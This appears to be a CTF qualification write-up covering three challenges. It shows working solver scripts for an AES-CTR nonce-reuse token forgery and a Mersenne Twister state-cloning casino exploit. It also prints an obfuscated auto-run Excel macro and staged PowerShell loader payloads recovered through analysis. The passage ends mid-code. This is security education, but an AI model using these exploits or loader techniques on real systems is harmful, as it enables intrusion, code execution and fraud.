hero-image

CBD West Regional S3 CTF Qualification


Pxilg

waifu-shop

image.png

inside the zip is the source files, and my main target was to analyze the app.py

image.png

after trying to know the app.py, i found some interesting part

KEY = os.urandom(16)
NONCE = os.urandom(8)

def crypt(data):
    cipher = AES.new(KEY, AES.MODE_CTR, nonce=NONCE)
    return cipher.encrypt(data)

the KEY and NONCE are the module scope not inside a function. and at the same time crypt() function handles both encryption and decryption, which is normal for CTR, but only safe if the nonce is unique, but it isn’t

The Vulnerability

AES-CTR works by generating a keystream and XOR-ing with the plaintext

ciphertext = plaintext XOR keystream
keystream  = AES(KEY, NONCE || counter)

Since KEY and NONCE never change, every single call to crypt() produces the exact same keystream. This is the classic nonce reuse mistake.

This attack requires the known plaintext and target plaintext to be the same length we can only recover as many keystream bytes as the ciphertext we have.

Checking the order format for each available item:

enterprise_gold → item=enterprise_gold&price=004800&buyer=guest&ship=standard  (59 bytes)
celestial_waifu → item=celestial_waifu&price=000000&buyer=guest&ship=standard  (59 bytes)

Exact match. enterprise_gold is the pivot. The other available items (destroyer_set, royal_cruiser) are different lengths and won’t work.

Exploit

1. POST /order item=enterprise_gold
   → receive base64 token (this is our ciphertext)

2. keystream = base64decode(token) XOR known_plaintext

3. forged    = keystream XOR target_plaintext
   → base64encode → new token

4. POST /claim order_token=<forged>
FLAG

with this final solver script i got the flag

#!/usr/bin/env python3
import base64
import re
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

TARGET = "https://waifu-shop.cbd2026.cloud"
SESSION = requests.Session()
SESSION.verify = False

KNOWN_PT = b"item=enterprise_gold&price=004800&buyer=guest&ship=standard"
TARGET_PT = b"item=celestial_waifu&price=000000&buyer=guest&ship=standard"

def b64d(s):
    return base64.urlsafe_b64decode(s + "=" * (-len(s) % 4))

def b64e(b):
    return base64.urlsafe_b64encode(b).decode().rstrip("=")

def xor_bytes(a, b):
    return bytes(x ^ y for x, y in zip(a, b))

def get_token():
    r = SESSION.post(f"{TARGET}/order", data={"item": "enterprise_gold"})
    r.raise_for_status()
    match = re.search(r'name="order_token"\s+value="([^"]+)"', r.text)
    if not match:
        match = re.search(r'value="([A-Za-z0-9_\-]{40,})"', r.text)
    if not match:
        print("[-] Raw response snippet:")
        print(r.text[:800])
        raise RuntimeError("Token not found in response")
    return match.group(1)

def forge(token):
    ct = b64d(token)
    keystream = xor_bytes(ct, KNOWN_PT)
    return b64e(xor_bytes(keystream, TARGET_PT))

def claim(token):
    r = SESSION.post(f"{TARGET}/claim", data={"order_token": token})
    return r.text

def main():
    print("[*] Fetching enterprise_gold token...")
    token = get_token()
    print(f"[+] Token  : {token}")

    forged = forge(token)
    print(f"[+] Forged : {forged}")

    print("[*] Submitting forged order...")
    resp = claim(forged)

    flag = re.search(r'[A-Z0-9_]+\{[^}]+\}', resp)
    if flag:
        print(f"\n[FLAG] {flag.group(0)}")
    else:
        print("\n[?] No flag pattern matched. Response:")
        clean = re.sub(r'<[^>]+>', '', resp).strip()
        print(clean[:600])

main()

image.png

casino

image.png

after downloading the zip files, there is chall.py

#!/usr/bin/env python3
import os
import random
import secrets

FLAG = open(os.environ.get('FLAG_PATH', '/flag.txt'), 'r').read().strip()
FLAG_PRICE = 50000
STARTING_BALANCE = 1000

def prompt_int(label, lower, upper):
    raw = input(label).strip()
    value = int(raw)
    if value < lower or value > upper:
        raise ValueError
    return value

def next_ticket(rng):
    return rng.getrandbits(32)

def play_roulette(balance, rng):
    print('roulette table')
    stake = prompt_int('stake: ', 1, balance)
    guess = prompt_int('number (0-36): ', 0, 36)
    ticket = next_ticket(rng)
    winning = ticket % 37
    color = 'green' if winning == 0 else ('red' if winning % 2 else 'black')
    print(f'wheel: {winning} {color}')
    print(f'ticket id: {ticket:08x}')
    if guess == winning:
        payout = stake * 36
        balance = balance - stake + payout
        print(f'jackpot hit, paid {payout} credits')
    else:
        balance -= stake
        print('no payout this round')
    return balance

def play_slots(balance, rng):
    print('slots terminal')
    stake = prompt_int('stake: ', 1, balance)
    ticket = next_ticket(rng)
    symbols = ['Nova', 'Bell', 'Cherry', 'Seven']
    reels = [symbols[(ticket >> shift) & 0x3] for shift in (0, 2, 4)]
    print('reels: ' + ' | '.join(reels))
    print(f'ticket id: {ticket:08x}')
    if len(set(reels)) == 1:
        payout = stake * 8
        balance = balance - stake + payout
        print(f'line winner, paid {payout} credits')
    else:
        balance -= stake
        print('no payout this round')
    return balance

def buy_flag(balance):
    if balance < FLAG_PRICE:
        print(f'vip counter says you need {FLAG_PRICE} credits for the collector token')
        return False
    print(FLAG)
    return True

def main():
    balance = STARTING_BALANCE
    rng = random.Random(secrets.randbits(256))
    print('=== Starline Casino ===')
    print('Each guest session runs its own fairness stream for audit review.')

    while True:
        print()
        print(f'Balance: {balance} credits')
        print('1. Play roulette')
        print('2. Spin slots')
        print(f'3. Buy VIP flag ({FLAG_PRICE} credits)')
        print('4. Exit')
        choice = input('> ').strip()

        try:
            if choice == '1':
                balance = play_roulette(balance, rng)
            elif choice == '2':
                balance = play_slots(balance, rng)
            elif choice == '3':
                if buy_flag(balance):
                    return
            elif choice == '4':
                print('come back soon')
                return
            else:
                print('invalid option')
        except Exception:
            print('table manager rejected that input')

if __name__ == '__main__':
    main()

so what does this challenge is to get 50000 credits from gambling

image.png

to do that based on the analysis, this is a Mersenne Twister, which is a classic pseudorandom number generator in random module in python.

the strategy:

Play “Slots” 624 times with a minimum bet of 1 to gather data. The 624 outputs required to duplicate the PRNG state will be obtained in this way.

Clone the State: Sync a local PRNG with the server’s by ingesting these 624 values using a library like randcrack.

Predict & Win: Determine the winning roulette number (ticket % 37), guess the value of the following ticket, and wager all of your remaining credits. Your balance will be far higher than the 50,000 credits needed for the flag after two victories.


final script

from pwn import *
from randcrack import RandCrack

def solve():
    # Connect to the challenge
    io = remote('crypto.cbd2026.cloud', 1337)
    cracker = RandCrack()

    log.info("Collecting 624 ticket IDs to clone MT19937 state...")
    
    for i in range(624):
        io.sendlineafter(b'> ', b'2') # Play Slots
        io.sendlineafter(b'stake: ', b'1')
        io.recvuntil(b'ticket id: ')
        ticket_id = int(io.recvline().strip(), 16)
        cracker.submit(ticket_id)
        
        if (i + 1) % 100 == 0:
            print(f"Progress: {i+1}/624")

    log.success("PRNG State Cloned!")

    # Predict and win Roulette twice to get enough credits
    for _ in range(2):
        # Predict the next 32-bit output the server will generate
        predicted_ticket = cracker.predict_getrandbits(32)
        winning_number = predicted_ticket % 37
        
        # Get current balance to go all-in
        io.recvuntil(b'Balance: ')
        balance = int(io.recvuntil(b' ', drop=True))
        
        log.info(f"Current Balance: {balance} | Predicting: {winning_number}")
        
        io.sendlineafter(b'> ', b'1') # Play Roulette
        io.sendlineafter(b'stake: ', str(balance).encode())
        io.sendlineafter(b'number (0-36): ', str(winning_number).encode())

    # Buy the flag
    log.info("Purchasing VIP flag...")
    io.sendlineafter(b'> ', b'3')
    
    # Print the flag
    flag = io.recvline_contains(b'CBC{').decode()
    log.success(f"Flag found: {flag}")
    io.close()

if __name__ == "__main__":
    solve()

image.png

office

image.png

after downloading the zip, i immediately use olevba to do a full file recon, and got this result

olevba Game.xlsm       
olevba 0.60.2 on Python 3.13.7 - http://decalage.info/python/oletools
===============================================================================
FILE: Game.xlsm
Type: OpenXML
WARNING  For now, VBA stomping cannot be detected for files in memory
-------------------------------------------------------------------------------
VBA MACRO ThisWorkbook.cls 
in file: xl/vbaProject.bin - OLE stream: 'VBA/ThisWorkbook'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Private Sub Workbook_Open()
    Dim oWs  As Object
    Dim sA   As String, sB As String, sC As String
    Dim sSh  As String, sF As String, sNm As String
    Dim i    As Integer
    Dim nKey As Byte
    Dim aE   As Variant

    aE = Array(75, 110, 123, 110)
    nKey = &HF
    sNm = ""
    For i = 0 To UBound(aE)
        sNm = sNm & Chr(aE(i) Xor nKey)
    Next i

    Dim rB As Long
    rB = (2 ^ 20) - (4 + 4)
    Set oWs = ThisWorkbook.Sheets(sNm)
    sA = oWs.Cells(rB, &H4000).Value
    sB = oWs.Cells(rB + 1, &H4000).Value
    sC = oWs.Cells(rB + 2, &H4000).Value

    Dim sDead As String
    sDead = oWs.Cells(&H1, &H1).Value & ""
    If Len(sDead) > &HFF Then sDead = Left(sDead, 1)

    aE = Array(99, 124, 100, 118, 97, 96, 123, 118, 127, 127, 61, 118, 107, 118)
    nKey = &H13
    sSh = ""
    For i = 0 To UBound(aE)
        sSh = sSh & Chr(aE(i) Xor nKey)
    Next i

    aE = Array(11, 6, 124, 66, 69, 79, 68, 92, 120, 95, 82, 71, 78, _
               11, 99, 66, 79, 79, 78, 69, 11, 6, 110, 69, 72, 68, _
               79, 78, 79, 104, 68, 70, 70, 74, 69, 79, 11)
    nKey = &H2B
    sF = ""
    For i = 0 To UBound(aE)
        sF = sF & Chr(aE(i) Xor nKey)
    Next i

    Shell sSh & sF & (sA & sB & sC), vbHide
End Sub

-------------------------------------------------------------------------------
VBA MACRO Sheet1.cls 
in file: xl/vbaProject.bin - OLE stream: 'VBA/Sheet1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Sheet2.cls 
in file: xl/vbaProject.bin - OLE stream: 'VBA/Sheet2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
(empty macro)
+----------+--------------------+---------------------------------------------+
|Type      |Keyword             |Description                                  |
+----------+--------------------+---------------------------------------------+
|AutoExec  |Workbook_Open       |Runs when the Excel Workbook is opened       |
|Suspicious|Shell               |May run an executable file or a system       |
|          |                    |command                                      |
|Suspicious|vbHide              |May run an executable file or a system       |
|          |                    |command                                      |
|Suspicious|Chr                 |May attempt to obfuscate specific strings    |
|          |                    |(use option --deobf to deobfuscate)          |
|Suspicious|Xor                 |May attempt to obfuscate specific strings    |
|          |                    |(use option --deobf to deobfuscate)          |
|Suspicious|Hex Strings         |Hex-encoded strings were detected, may be    |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
+----------+--------------------+---------------------------------------------+

and the main target is the vbaProject.bin which is the xlsm VBA macros. and after deep research i unzip the .xlsm file and got tons of file to analyze

Archive:  Game.xlsm
  Length      Date    Time    Name
---------  ---------- -----   ----
     1487  1980-01-01 00:00   [Content_Types].xml
      588  1980-01-01 00:00   _rels/.rels
     1696  1980-01-01 00:00   xl/workbook.xml
     1094  1980-01-01 00:00   xl/_rels/workbook.xml.rels
     5030  1980-01-01 00:00   xl/worksheets/sheet1.xml
     2166  1980-01-01 00:00   xl/worksheets/sheet2.xml
     6995  1980-01-01 00:00   xl/theme/theme1.xml
     5339  1980-01-01 00:00   xl/styles.xml
    34853  1980-01-01 00:00   xl/sharedStrings.xml
    13312  1980-01-01 00:00   xl/vbaProject.bin
      187  1980-01-01 00:00   xl/calcChain.xml
      613  1980-01-01 00:00   docProps/core.xml
      765  1980-01-01 00:00   docProps/app.xml

inside sharedStrings.xml i found that there are some interesting cell (XFD1048568, XFD1048569, XFD1048570) and after find those cell it was a blob and some sort of key

and i manage to decode the blob and got this

$Sd886 = @("JABUAFIAbwBlAEMAUgBiACAAIAA9","ACAAIgBIADQAcwBJAEEARwBjAEUA","OQBHAGsAQwAvADkAVgBXAGIAVQ","AvAGEAVQBCAFQAKwAzAGwAO","QB4ADQAZwBmAFQA","QwBtAHMAQQBBAFYAawBRAEUAeQBn","AGcAOAB5AFcAaQB","vAEcARQB4AHUAcgBUAGwAYQBvAH","UAbAA3AGYA","cQBDAE0ATwB","XAC8ANwA5AHcAWABz","AEMAMgBZAHUAVw","BYAEoAcwBpAGIAUQAzAH","QANwBuAFAAdQBjADU","AYgB4AHkAawBPAEwAVABkAFIA","eABnAHMAdwB","vAGgATQA2ADEASgB5AHAAUQA","2AEkARwBRAGQA","MgB0AEYAQwAxAFkATwBGAEgAMwB","tAE8AZwArADkAWQB","pAGcAeABtAFMA","ZQBWAFMAWABKAEQ","AOAAyAEgATgBzAEUAMAA5","AEgARABFAEUAWQBuAEoAdwAr","AFgAVgBxAEYAMwAvA","GgAVgBlAEoATQBEAEw","ARAArAHkAWgBIAGg","ARQBJAEkAegAxAEMAbAB","MAEcASQB5AE8AMABkAEgARgA5AGU","ARwBOAGEAeABIAE","UAWQBCADUAZgBQAHgAN","QBMAE0AWAB","qAEIAVgB4AGgAbAA3AGMAawBqAHo","AbwBOAFUAdQBWAEsAbwBTA","FcARABnADMAZwBDADUAUgBFAGsA","RgBGAFcAbABEA","FcAWQBYAGcARwB","KADQAcwBDAGwAU","wBGAFgAegBwAG4ANABjAGsAWgA0","AGUAVwBuAEw","ASABOAGIAMAB4AFUAcQ","BuAFgAdwAyADUATgB","QAFMAWgBSAEMAeABXAEUAOAB","0AHEAawBVAG0AYwBzAF","MANABtAHIANQB","iADQASQBzA","FUATABlAHgA","ZQBSAHMAYQBIAGQAV","wBZAG0AMABYAH","UAWgBOAEsAaABVAHM","ARwBDAG4Aeg","BIAEcARAA5","AFMAZgAvAFAAT","gBkAGkATgA0","AFEAbgB4AGgAMwB1ADQAMA","AyADkAMQBDAG8AUgAxA","G4AZABtAGQAcwBWADIAdAAyAE","8ANgAxAE8AcAA1AHYAWQB","uAGUAawBCAGgATgBTAFcAUwA1","ADUAaAB3AEMAUwAxAFkAdABzAFo","AawAwAEIATwBXAEgAagB3AE","EAcABBAHAAa","gAwADEANQA2AG4AZwA3AEIA","RQBNADkASQArADUAagBaAE4ARgBW","AHIAZwBIAGwAcABBADkA","cgB1ADQAYgBEAGQAQ","wBVAE0AcAB1AG","cAbQBuAEcANgBDAGQARwBYAFkA","MwBjAFcAWABrA","EkATwBKAGsAbQBLAG","YANQBIAEwAcAB6AEw","AQQBnAEkAZQA5AHIAQQAyAFI","AcQBSAEQARgB1ADIAYgBFA","DcATwBEAHcARQBlAF","EASgA3AFUARgBQ","AFMAOQBpAGoANg","B2AGcARwB6AHoA","YgBjAG8ALwBHAG4AegBMAGEAcQB","TADYAUgAzADUAaQBrAFUARgB","YAHYAbgBxADYAQQBoAE","sAeABRAHoAegBqAEgANAAxADYA","SwBIADAAKwA5AEIAUQB","tADcANQBQADMARABFAD","kAcQBRADQAOQBIAGwAbAA1","AFoAMQBUAGIAV","QBSAEkAVQBTAHkAbABiAGIAcwBZ","AGIATwBGAE4ASwA","2AGMASgBuADAAZgAwAFcARQ","BqAEoAbQBJAFgAeQB2AE4AKwB","EAEsAQwAyAG8AeQBlAHoATAB5A","FEATQArADQAbQBLAGUAVgBOAGIA","YQBoAHkATABK","AEIAZgBYAE8ANQB","vAHkAeQBJAE4AZgBp","AEUAYQAxAFEAcQBGAEcANQBuAG","QAagA3AEMAagB","IAFEAcgBaAGoAUwBTAFkAbgA2A","C8AUgBjADcAQwAwAF","YAeQAvAFQATABWAEkAbgByAHQAT","QBQAFUANQB","XADIAaQBvAEUAO","QBQAGEANwBWAFIAMgA3AHAAawBYA","E0ASgB6AHoALwBrAGkAMQBQAG8","AcABzAFcAeQBLAGEARgBQAEM","AYgBhADMAKwB6A","FMAWgBMAGUAeQBY","AG0AVwBCADUAbQA2AGI","AZQBkAGoAUAAxAEEAbQBEAD","AAaABvAFUAZwBlAEcAeQBkA","DcARQBuAHUAOQ","AxADQASwA3AFkAaABBAHAA","eQBIAHkAcABiADkAUgB","IADAAbABxADYAdQBVAHEAcQA","1AHMAagBQAG","gAOQBEADQAMQBXAHQAYwBKA","EIANwBYAE8","AMQBFAG0AUABmAEYATwBiAEYAMAB","uADYANQBVAGoAMgBvAFoAYgBwA","DAAKwBVAGQAbAB1AGk","AMgBkAGYAVgBzA","HYAUABWAC8","AMQByADcAMgB5","AFAAZgBwAEkAVQBoAE8ASgBF","AGEATAB2AFIAWQBZ","AFQAVQB2ADUASgBq","AHAAMQBFAGoAaQB0AC8ASgBjAGM","AQgB5AC8ASAArAC8AN","QB0AGoATQBhADkANgAxAHoAKwAr","AG4AOAA5AHYAdABIADQAOABQAD","EAbgBsADIATgBCAEQAVQBpA","DEAcgB0AG0AKwBSAEk","ATQBMAHAAbgBvAGQAZgBUACsAZwB","tAEMAVQBIAEgAVAB3A","FAAdwA2AFcAMAAyAFoAOQ","BLAEMAQwBQAFcAVQBMAEkARAAvA","C8ASQByAHgAdgAyAGEAd","ABiADIAQwAvADMASQBEAEEAMAB","tAHAAaABrAG8AdgBWAH","UAMAAzAGMAdQBUAGMAbQBIA","E0AZABWADAANwBX","AHEAdABiAFIATgBaAEYAOA","BmADAAOQBHA","E0AUwBQAEgARQBvAFAAMQBUAGI","AWABDAFEARwBTAG","cAOABQAGkAYgBqAG8AOABTAG","UATwA4AE4AdwBxAE4AMwBB","AG0ANwBaAFkAZwBFAFMAUQBzA","DkASABLAHUAQwBIAFMAbwBxACsA","agAwAGkAWQB","tACsAegBPAEYAOQBhADQAT","wBBADkAMABOAHMAYQBhAG4AW","ABkAHYAVgBuAFoAYgBqA","G0AVQA4AHkAdAA1AGkASABRAG","wANABZAEYAeQBOADEAWQAvADQAcw","BwAGEAWAAwAEU","ANwBWADMAcQBqAHUAOQBDA","FEAQQBBACIACgAkAEs","AWAB6AFcAIAAgACAAPQAgAFsAUw","B5AHMAdABlAG0ALg","BJAE8ALgBNAGUAbQBvAHIAeQ","BTAHQAcgBlAGEAbQBdAFsAQwBvAG","4AdgBlAHIAdABdADoAOgB","GAHIAbwBtAEIAYQB","zAGUANgA0AFMA","dAByAGkAbgBnACgAJABUA","FIAbwBlAEMAUgBiACkACgAkAFk","AUgBHAGsANwAgACAAIAA9ACAAW","wBTAHkAcwB0AGUAbQAuAEkATw","AuAEMAbwBtAH","AAcgBlAHMA","cwBpAG8AbgAu","AEcAegBpAHAAUwB0","AHIAZQBhAG0AXQ","A6ADoAbgBlAHcAKAAkAEs","AWAB6AFcALAAgAFsAUwB5AHMAdA","BlAG0ALgBJAE8A","LgBDAG8AbQBwAHIAZQBzA","HMAaQBvAG4ALgBD","AG8AbQBwAHIAZQBzAHMAaQBvAG","4ATQBvAGQAZQBdADoAOgBEA","GUAYwBvAG0AcA","ByAGUAcwBzACkACgAkA","FUAYgBaAEM","AYQBSACAAIAAgAD0AIABbAFMAeQB","zAHQAZQBtAC4ASQBPAC","4AUwB0AHIAZQBhAG0","AUgBlAGEAZABlAHIAXQA","6ADoAbgBlAHcAKAAkAF","kAUgBHAGsANwApAAoAJABPADU","AUwBPAGIAIAA9ACAAJAB","VAGIAWgBDAGEAUgAuAF","IAZQBhAGQAVABvAEUA","bgBkACgAKQAKAEEAZABkA","C0AVAB5AHAAZQAgAC0A","VAB5AHAAZQBEAGUAZgBpAG4AaQB","0AGkAbwBuACAAJABPADUAUwB","PAGIACgAKACQAZQB4A","HAAZQBjAHQAZQB","kAEgAYQBzAG","gAIAA9ACAAIgBBADAANAA1AEEA","NQA0AEUANQA3ADMA","NwBFAEYAIgAKACQAaAB","vAHMAdABuAGEAbQBlACA","AIAAgACAAIAA9ACAAJABl","AG4AdgA6AEMATwBNAFAAVQB","UAEUAUgBOAEEATQBF","AAoACgBpAGYAIAAoACgAWwBY","AEoASgBmAFEAaAAwAE","gATQBZAF0AOgA6AEwAcwBYAHgA","YQBRACgAJABoAG","8AcwB0AG4AYQBtAGUALAAgA","FsAdQBpAG4AdAAzADIAXQA","zADcAMwA1ADkAMgA4ADUAN","QA5ACkAIAAtAG4AZQAgACQ","AZQB4AHAAZQBjAHQAZQBkAEgAY","QBzAGgAKQAgAC0AYQBuAGQ","AIAAoACQAaABvAHMAdABuAGEA","bQBlAC4ATABlAG4AZwB0AGgAIA","AtAG4AZQAgADcAKQApACAAewA","gAGUAeABpAHQAIA","B9AAoAJAB4AG","wAIAAgACAAPQAgAFsAUgB1A","G4AdABpAG0AZQAuAEk","AbgB0AGUAcgBvAHAAUwBlAHI","AdgBpAGMAZQB","zAC4ATQBhAHIAc","wBoAGEAbABdADoAO","gBHAGUAdABBAGMAdABpAHYAZQBP","AGIAagBlAGMAdAAoACIARQB4AGMA","ZQBsAC4AQQBwAHA","AbABpAGMAYQB0AGkAbwBu","ACIAKQAKACQAdwBzACAAIAAg","AD0AIAAkAH","gAbAAuAFcAbwByAG","sAYgBvAG8A","awBzAC4ASQB0AGUAbQAoADEAKQA","uAFMAaABlAGUAdABzAC4ASQB0AG","UAbQAoACIARABhAH","QAYQAiACkAC","gAkAGsAZQB5AC","AAIAA9ACAAJAB3A","HMALgBDAGU","AbABsAHMALgBJAHQ","AZQBtACgAMQAw","ADQAOAA1ADcA","MgAsACAAMQA2ADMAOAA0ACkALgBW","AGEAbAB1AGUAMgAKAAoA","aQBmACAAKABb","AFgASgBKAGYAUQBo","ADAASABNAFkAX","QA6ADoAUABpAGEAMgB3AFIAUA","BVAG8ANABpA","FgAKAAkAGgAbwB","zAHQAbgBhAG0AZQ","AsACAAWwB1","AGkAbgB0ADMAM","gBdADMANAAwADUANgA5ADEAN","QA4ADIAKQAgAC0AbgBlACAAJ","ABrAGUAeQApACAAew","AgAGUAeABpAHQ","AIAB9AAoACgAkAGUAbgBjADIA","IAA9ACAAJAB3AHMALgBDAG","UAbABsAHMALgBJ","AHQAZQBtACgAMQAwADQAOAA1ADcA","MwAsACAAMQA2ADMAOAA","0ACkALgBWAGEAbAB1A","GUAMgAKAAoAJABwAGEAeQBsAG","8AYQBkADIAIAA9ACAAWwB","TAHkAcwB0AGUAbQAuAFQAZQB4","AHQALgBFAG4AYwBvAGQAaQBuAGc","AXQA6ADoAVQBUAEYAOAA","uAEcAZQB0AF","MAdAByAGkA","bgBnACgAWwBYAEoASgBmA","FEAaAAwAEgATQBZAF","0AOgA6AEgAVQB6AHEATQB4AFYAQw","BQAHUAeABKACgAJABlAG4AYwA","yACwAIAAkAGsAZQB5ACkA","KQAKAEkAbgB2AG8Aa","wBlAC0ARQB4AHAAcg","BlAHMAcwBpAG8AbgAgA","CQAcABhAHkA","bABvAGEAZAAyAAoA")
$IVVvPHr = [System.Text.Encoding]::unICOdE.GEtSTRInG([Convert]::frOmBaSe64stRiNG([string]::jOIn("", $Sd886)))
. ( $ShELLId[1]+$sHElLId[13]+"x") $IVVvPHr

and it seems it still can be decrypted

import re
import base64

data = open("stage1.ps1", "r", encoding="utf-8").read()

chunks = re.findall(r'"([^"]+)"', data)

joined = "".join(chunks)

decoded = base64.b64decode(joined)

# PowerShell used Unicode = UTF-16LE
text = decoded.decode("utf-16le", errors="ignore")

open("stage2.ps1", "w", encoding="utf-8").write(text)

print("[+] extracted to stage2.ps1")

using this script i manage to decrypt it again and got this

$TRoeCRb  = "H4sIAGcE9GkC/9VWbU/aUBT+3l9x4gfTCmsAAVkQEygg8yWioGExurTlaoul7fqCMOW/79wXsC2YuWXJsibQ3t7nPuc5bxykOLTdRxgswohM61JypQ6IGQd2tFC1YOFH3mOg+9YigxmSeVSXJD82HNsE09HDEEYnJw+XVqF3/hVeJMDLD+yZHhEIIz1ClLGIyO0dHF9eGNaxHEYB5fPx5LMXjBVxhl7ckjzoNUuVKoSWDg3gC5REkFFWlDWYXgGJ4sClSFXzpn4ckZ4eWnLHNb0xUqnXw25NPSZRCxWE8tqkUmcsS4mr5b4IsULexeRsaHdWYm0XuZNKhUsGCnzHGD9Sf/PNdiN4Qnxh3u40291CoR1ndmdsV2t2O61Op5vYnekBhNSWS55hwCS1YtsZk0BOWHjwApApj0156ng7BEM9I+5jZNFVrgHlpA9ru4bDdCUMpugmnG6CdGXY3cWXkIOJkmKf5HLpzLAgIe9rA2RqRDFu2bE7ODwEeQJ7UFPS9ij6vgGzzbco/GnzLaqS6R35ikUFXvnq6AhKxQzzjH416KH0+9BQm75P3DE9qQ49Hll5Z1TbURIUSylbbsYbOFNK6cJn0f0WEjJmIXyvN+DKC2oyezLyQM+4mKeVNbahyLJBfXO5oyyINfiEa1QqFG5ndj7CjHQrZjSSYn6/Rc7C0Vy/TLVInrtMPU5W2ioE9Pa7VR27pkXMJzz/ki1PopsWyKaFPCba3+zSZLeyXmWB5m6bedjP1AmD0hoUgeGyd7Enu914K7YhApyHypb9RH0lq6uUqq5sjPh9D41WtcJB7XO1EmPfFObF0n65Uj2oZbp0+Udlui2dfVsvPV/1r72yPfpIUhOJEaLvRYYTUv5Jjp1Ejit/JccBy/H+/5tjMa961z++n89vtH48P1nl2NBDUi1rtm+RIMLpnodfT+gmCUHHTwPw6W02Z9KCCPWULID//Irxv2atb2C/3IDA0mphkovVu03cuTcmHMdV07WqtbRNZF8f09GMSPHEoP1TbXCQGSg8Pibjo8SeO8NwqN3Am7ZYgESQs9HKuCHSoq+j0iYm+zOF9a4OA90NsaanXdvVnZbjmU8yt5iHQl4YFyN1Y/4spaX0E7V3qju9CQAA"
$KXzW   = [System.IO.MemoryStream][Convert]::FromBase64String($TRoeCRb)
$YRGk7   = [System.IO.Compression.GzipStream]::new($KXzW, [System.IO.Compression.CompressionMode]::Decompress)
$UbZCaR   = [System.IO.StreamReader]::new($YRGk7)
$O5SOb = $UbZCaR.ReadToEnd()
Add-Type -TypeDefinition $O5SOb

$expectedHash = "A045A54E5737EF"
$hostname     = $env:COMPUTERNAME

if (([XJJfQh0HMY]::LsXxaQ($hostname, [uint32]3735928559) -ne $expectedHash) -and ($hostname.Length -ne 7)) { exit }
$xl   = [Runtime.InteropServices.Marshal]::GetActiveObject("Excel.Application")
$ws   = $xl.Workbooks.Item(1).Sheets.Item("Data")
$key  = $ws.Cells.Item(1048572, 16384).Value2

if ([XJJfQh0HMY]::Pia2wRPUo4iX($hostname, [uint32]3405691582) -ne $key) { exit }

$enc2 = $ws.Cells.Item(1048573, 16384).Value2

$payload2 = [System.Text.Encoding]::UTF8.GetString([XJJfQh0HMY]::HUzqMxVCPuxJ($enc2, $key))
Invoke-Expression $payload2
䐨눬휝߫划矈﹝

which is another blob but with more information, in this case i got the expectedHash, and hostname

and i decrypt it again and got the final one

$HSl5 = @("JABKAGoAUQBuAGYARAAgAD0AIAA","kAGUAbgB2ADoAV","QBTAEUAUgBOAEE","ATQBFAAoAJABRAE0ASgBvA","FEAdgAgACAAIA","A9ACAAWwBSAHUAbgB0AGkA","bQBlAC4ASQB","uAHQAZQByAG8AcABTAGUAcgB2AG","kAYwBlAHMALgBN","AGEAcgBzAGgAYQBsAF0","AOgA6AEcAZQB0AEEAYwB0AGkAd","gBlAE8AYgBqAGUAYwB0ACg","AKAAiAHsAMQB9","AHsAMgB9AHsAMAB9","ACIAIAAtAG","YAIAAiAGMAYQB0AGkAb","wBuACIALAAiAEUAeABjAGUAbAAu","ACIALAAiAEEAcABwAGwAaQAiACkA","KQAKACQATQA5AEsASwAgACAAI","AA9ACAAJABRAE0","ASgBvAFEAdgAuAFcAb","wByAGsAYgBvAG8AawBzAC4ASQB0A","GUAbQAoADEAKQAu","AFMAaABlAGUAdABzAC4","ASQB0AGUAb","QAoACgAIgB7A","DEAfQB7ADIAf","QB7ADAAfQAiACAALQBmACAAIg","BhACIALAAiAEQAYQAiACwAIgB0A","CIAKQApAAoACgAkAFEA","VgB1AGQAaQAgAD0AIAAoA","CIAewAzAH0AewAxAH0AewAwAH0Ae","wAyAH0AewA0AH0AI","gAgAC0AZgAgACIAMwA1AEIARgBDA","CIALAAiAEUAMwA2AEUAIgAsACI","AMgAiACwAIgBGAEQARAAiACwA","IgA4ACIAKQAKAGkAZgAgACgAKABb","AFgASgBKAGYAUQ","BoADAASABNAFkAXQA6ADoAUABpA","GEAMgB3AFIAU","ABVAG8ANABpAFgAKAAk","AEoAagBRAG4AZgBEACwAI","ABbAHUAaQBu","AHQAMwAyAF0AMw","A0ADAANQA2ADkAMQ","A1ADgAMgApACAALQB","uAGUAIAAkAFEAVgB1AGQAaQApACA","ALQBhAG4AZAAgACgAJABKAGoA","UQBuAGYARAAuAEwAZQ","BuAGcAdABoACAALQBuAGUAIAA3","ACkAKQAgAHsAIABlAHg","AaQB0ACAAfQAKAAoAJABIAGEAT","gBRAGUAegAgAD0AI","AAkAE0AOQBLAEsALg","BDAGUAbABsAHMALgBJAHQAZQBtA","CgAMQAwADQAO","AA1ADcANAAsACAAMQA2ADMAOA","A0ACkALgBWAGEAbAB1AGUAMgAKA","AoAJABKAFIANAB6ACAAPQAg","AFsAUwB5AHMAdABlA","G0ALgBUAGUAeAB0A","C4ARQBuAGMAbwBkA","GkAbgBnAF0AOgA6AFUAVABGADgAL","gBHAGUAdABTAHQAcgBpAG4AZwAoA","FsAWABKAEoAZgBRAGgAMABIAE0A","WQBdADoAOgBIAFUA","egBxAE0AeABWAEM","AUAB1AHgASgAoAC","QASABhAE4AUQB","lAHoALAAgACQASgBqAFEA","bgBmAEQAKQA","pAAoAJgAoACIAe","wAyAH0AewA","wAH0AewAxAH0AIgAgAC0","AZgAgACgAIgB7ADAAfQB","7ADIAfQB7ADEAfQAi","ACAALQBmACAAIgBrAGUAIgAsACI","AcgBlACIALAAi","AC0ARQB4AHAAIgApACwAKAAi","AHsAMwB9AHsAMgB9A","HsAMAB9AHsAMQB","9ACIAIAAtAGYAIA","AiAG8AIgAsACIAbgAiACw","AIgBzAGkAIgAsACIAcwAi","ACkALAAoACIA","ewAyAH0AewAwAH0Ae","wAxAH0AIgAgAC0AZgAgACIA","dgAiACwAIgBvACIALAAiAEkAbg","AiACkAKQAgACQASgBSA","DQAegAKAA==")
$TkoZDf = [System.Text.Encoding]::unICode.gEtSTrING([Convert]::FrombASe64sTRiNg([string]::JoIN("", $HSl5)))
&(("{4}{1}{3}{2}{0}" -f "ssion","ok","xpre","e-E","Inv")) $TkoZDf
using System;
using System.Security.Cryptography;
using System.Text;

public class XJJfQh0HMY {
    private static byte[] GQObhG(string password) {
        using (SHA256 sha = SHA256.Create())
